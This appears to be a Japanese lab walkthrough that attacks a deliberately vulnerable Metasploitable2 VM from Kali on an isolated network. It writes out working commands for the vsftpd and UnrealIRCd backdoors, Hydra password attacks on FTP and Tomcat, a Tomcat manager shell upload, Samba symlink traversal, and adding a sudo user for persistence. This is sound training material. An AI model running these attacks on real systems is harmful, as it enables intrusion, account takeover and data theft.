ターゲット端末にMetasploitableを導入し、ハッキングをしていきます。
まとめ記事(①〜⑯をまとめてます)
【ハッキング・ラボのつくりかた】をやってみた
システム環境
仮想化ソフト
:VirtualBox 6.1.0
ホストOS
:Windows10
ゲストOS1
:Kali Linux 2020.1
ゲストOS2
:Windows7
ゲストOS3
:Windows10
ゲストOS4
:Metasploitable
攻撃端末はゲストOS1、ターゲット端末はゲストOS4です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS4が10.0.0.5です。
Metasploitableの導入
Metasploitableとはあえて脆弱性が存在する状態で構成されたLinuxです。
以下のURLからmetasploitable-linux-2.0.0.zipファイルをダウンロードします。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
zipファイルを展開すると、フォルダー内にMetasploitable.vmdkファイルがあります。
VirtualBoxを起動して、以下のようにして仮想マシンを作成します。
メモリーは1,024バイトにしました。
仮想LANアダプターの設定を行います。
アダプター1にホストオンリーアダプターを割り当てます。
Metasploitableを起動し、ログインします。
IDはmsfadmin、パスワードはmsfadminです。
まず、以下のコマンドを入力し、日本語キーボードのレイアウトに変更します。
# sudo loadkeys jp
次に、静的IPアドレスを以下のように設定します。
# sudo vi /etc/network/interfaces
auto eth0
iface eth0 inet static
address 10.0.0.5
netmask 255.255.255.0
gateway 10.0.0.1
以下で設定を反映させると、IPアドレスが10.0.0.5になります。
# sudo /etc/init.d/networking restart
各種攻撃
ここから、Metasploitableに攻撃を行っていきます。
最初に以下のコマンドでポートスキャンし、空いているポート番号を調べます。
# nmap -sV -O -p- 10.0.0.5
検出されたポート番号のうち、今回は以下を取り上げます。
-
21(ftp)
:vsftpd 2.3.4 -
8180(http)
:Apache Tomcat/Coyote JSP engine 1.1 -
139・445(netbios-ssn)
:Samba smbd 3.X - 4.X -
6667・6697(irc)
:UnrealIRCd
21(ftp)
Kali Linuxからポート21にアクセスします。
# nc 10.0.0.5 21
FTPアカウントの情報を知らないとFTPにはログインできませんが、以下のコマンドを入力すると、ポート6200が開きます。
なぜなら、vsftpd2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれており、「:)」を含むユーザー名でログインすると、ポート6200にバックドアが開きます。
USER attacker:)
PASS hoge
ポート6200にアクセスします。
ポート6200にアクセスすることで、任意のコマンドを実行できるようになります。
# nc -nv 10.0.0.5 6200
また、同じ内容はMetasploitのモジュールexploit/unix/ftp/vsftpd_234_backdoorでも実現できます。
> use exploit/unix/ftp/vsftpd_234_backdoor
> set RHOST 10.0.0.5
> exploit
新しいユーザーを作っておきます。
次回からはこのユーザーでFTPにログインできます。
useradd -m newuser -G sudo -s /bin/bash
passwd newuser
今までは脆弱性を利用した攻撃を行ってきました。
ここでは、辞書式攻撃でFTPアカウントを解析することを考えます。
FTPアカウントを解析できれば、そのアカウントでFTPにログインできるようになります。
まず、ユーザーリストとパスワードリストを用意します。
# cat > user.lst
root
sys
msfadmin
admin
user
service
postgres
tomcat
# cat > pass.lst
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
(空行)
オンラインパスワードクラッカーであるHydraを使用します。
# hydra -L user.lst -P pass.lst -t 8 10.0.0.5 ftp
8180 (http)
ここでは、ポート8180を通して、HTTPの認証を解析することを学んでいきます。
http://10.0.0.5:8180/admin
にアクセスすると、Tomcatの認証画面が表示されます。
User Name、Passwordを知るために辞書式攻撃を仕掛けます。
Hydraを使用しますが、コマンドには認証に失敗したときのメッセージを指定する必要があり、今回の場合はInvalid username or passwordです。
以下のコマンドを入力して、アカウントを特定します。
User Name、Passwordともtomcatだとわかります。
# hydra -L user.lst -P pass.lst -s 8180 10.0.0.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
また、Tomcatのアカウントがわかれば、Metasploitのモジュールexploit/multi/http/tomcat_mgr_uploadを使用してシェルを奪取することもできます。
ターゲットには2(Linux x86)を指定します。
> use exploit/multi/http/tomcat_mgr_upload
> set target 2
> set payload linux/x86/shell_bind_tcp
> set HttpUsername tomcat
> set HttpPassword tomcat
> set RHOST 10.0.0.5
> set RPORT 8180
> exploit
139・445 (netbios-ssn)
このポートでは、Sambaが稼働しており、共有サービスを提供しています。
以下のコマンドでSambaにログインします。
パスワードの入力を促されますが、何も入力せずEnterキーを押せばログインできます。
# smbclient -L //10.0.0.5
なお、事前に/etc/samba/smb.confに以下の項目を追記しておく必要があります。
client min protocol = NT1
共有名を確認するとtmpという共有名が存在することがわかります。
これをターゲットにします。
auxiliary/admin/smb/samba_symlink_traversalモジュールを使用すると、tmpという共有ディレクトリがマウントされ、rootfsというルートディレクトリがリンクされます。
ルートディレクトリという本来アクセスが禁止されているディレクトリにアクセスすることができます。
これをディレクトリトラバーサルと呼びます。
> use auxiliary/admin/smb/samba_symlink_traversal
> set RHOST 10.0.0.5
> set SMBSHARE tmp
> exploit
Meterpreterプロンプトから抜けます。
以下のコマンドでtmpという共有ディレクトリにアクセスできます。
# smbclient //10.0.0.5/tmp
cdコマンドでrootfsというルートディレクトリに移動できます。
例えば、/rootfs/etc/passwdファイルにアクセスすれば、パスワードファイルを閲覧することもできます。
ただ、root権限はないのでできることは限られます。
例えば、/rootfs/etc/shadowファイルにはアクセスできません。
6667・6697 (irc)
UnrealIRCdはUnreal IRCのサービスプログラムです。
Unreal IRCはオープンソースのIRCサーバで、IRCサーバを介してリアルタイムでチャットを行うことができます。
まずどのバージョンが使われているか調べます。
IRCクライアントであるhexchatをインストールし、起動します。
# apt install hexchat -y
# hexchat
以下のように設定し、「Connect」でIRCサーバに接続します。
「Nothing, I'll join a channel later.」を選択し、バージョンを確認します。
ここでは、3.2.8.1が使われていました。
このバージョンには、バックドアがあることがわかっています。
バックドアにアクセスするためにexploit/unix/irc/unreal_ircd_3281_backdoorモジュールを使用します。
> use exploit/unix/irc/unreal_ircd_3281_backdoor
> set RHOST 10.0.0.5
> run
これでシェルを奪取することができます。
これはroot権限なので、様々なことを実現できます。
また、今までは使いませんでしたが、シェルからMeterpreterプロンプトに切り替えることもできます。
これにはpost/multi/manage/shell_to_meterpreterモジュールを使用します。
まず、Ctrl+zキーでセッションをバックグランドにしておきます。
その後、以下のコマンドを実行します。確立しているセッションは1とします。
> use post/multi/manage/shell_to_meterpreter
> set SESSION 1
> run
実行すると、新しいセッションが1つ確立されます。
そのセッション(ここではセッション2)に接続すると、Meterpreterプロンプトになります。
> sessions -i 2